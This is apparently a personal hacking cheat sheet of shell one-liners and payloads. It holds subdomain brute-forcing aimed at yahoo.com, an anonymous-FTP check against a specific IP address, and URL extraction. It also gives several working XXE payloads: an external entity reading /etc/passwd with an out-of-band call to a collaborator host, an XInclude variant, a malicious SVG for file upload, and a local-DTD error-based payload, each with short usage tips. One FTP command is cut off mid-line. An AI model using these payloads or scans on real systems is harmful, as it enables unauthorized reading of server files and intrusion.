Some Importent script for automation
writen by: RobinTrigon | 3rr0r-404
Brutforce sobdomain via ffuf
subs="/home/aruu/Desktop/ath3na/sub.txt" ; act="https://FUZZ.yahoo.com" ; ffuf -w $subs -v -t 300 -timeout 15 -u "$act" -o lol | grep "URL" | tee -a result.txt ; rm lol
Remove scheme from list of urls
for url in $(cat lis_of_urls.txt);do
echo "$url"|awk -F[/:] '{print $4}'
done
collect all subdomains ip from target website
assetfinder --subs-only "testfire.net" |dig| grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
subdomain brutforce via host command
for sub in $(cat brutforce_payload.txt)
do
if host $sub.target.com &>/dev/null
then
echo "$sub.target.com"
fi
done
Anonymous ftp login [cradit:JoyGhoshs]
curl -m 6 -s ftp://178.33.155.61 --user "Anonymous:Anonymous" | grep "r" &>/dev/null && echo -e "\033[31mAnonymous Login allowed" || echo " [+] Not Allowe
collect all urls from text file
cat target.txt| grep -Eo '(http|https|ftp|aaa|aaas|acap|acct|acr|xmpp|udp|s3|git|file|apt|admin|app)://[a-zA-Z0-9./?=_%:-]*
<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd"><!ENTITY sp SYSTEM "https://collabretor/">]><r>&xxe;&sp;</r>
Just replace any peramiter with it and egrep "root:x|daemon:x"
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
save this as svg file and upload it. now check your uploaded picture with root:x content.
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
bruteforce "bruteforce-here" with your dtd list and grep root:x | daemon:x
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file://bruteforce-here">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>